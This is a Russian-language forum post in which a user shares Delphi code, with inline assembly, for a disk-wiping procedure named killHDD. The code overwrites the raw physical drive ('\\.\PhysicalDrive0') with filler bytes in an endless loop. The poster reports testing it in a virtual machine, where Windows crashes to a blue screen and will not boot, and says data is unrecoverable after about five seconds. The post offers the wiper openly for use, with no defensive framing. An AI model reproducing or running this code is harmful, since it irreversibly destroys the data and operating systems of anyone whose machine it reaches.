2 _nic я вот юзал вот этот код:
Он хоть и почти как твой, но всёже при тестах на виртуалке, уже после 10-20 секунд работы винда вообще немогла одуплится. т.е. негрузилась даже.
Код начинает с самого начала забивать винт рожицей.
Когда дохидит до файла подкачки(моё предположение), то винда вылетает в BSoD
Если этот код запускается при загрузки системы. т.е. вмантирован в сервис.
по просто винда долго грузится долговато,а потом вылетает в BSoD
Если этот код работает хотябы 5 секунд то врядли уже что можно восстановить виндовыми прогами.
Код:
procedure killHDD(fn:string);
var
f:thandle;
z,c:integer;
buf:pointer;
buf_len:integer;
label m2;
begin
buf_len:=1024*4;
getmem(buf,buf_len);
asm
push eax
push ecx
mov eax,buf
xor ecx,ecx
@m1:
mov [eax+ecx],01010101h
add ecx,4
cmp ecx,buf_len
jb @m1
pop ecx
pop eax
end;
m2:
f:=fileopen(fn,2);
if f=invalid_handle_value then exit;
repeat
writefile(f,buf^,buf_len,cardinal(z),nil);
if z=0 then
begin
closehandle(f);
buf_len:=buf_len-512;
if buf_len=0 then exit;
goto m2;
end;
until 1=0;
end;
юзать код так:
killHDD('\\.\PhysicalDrive0');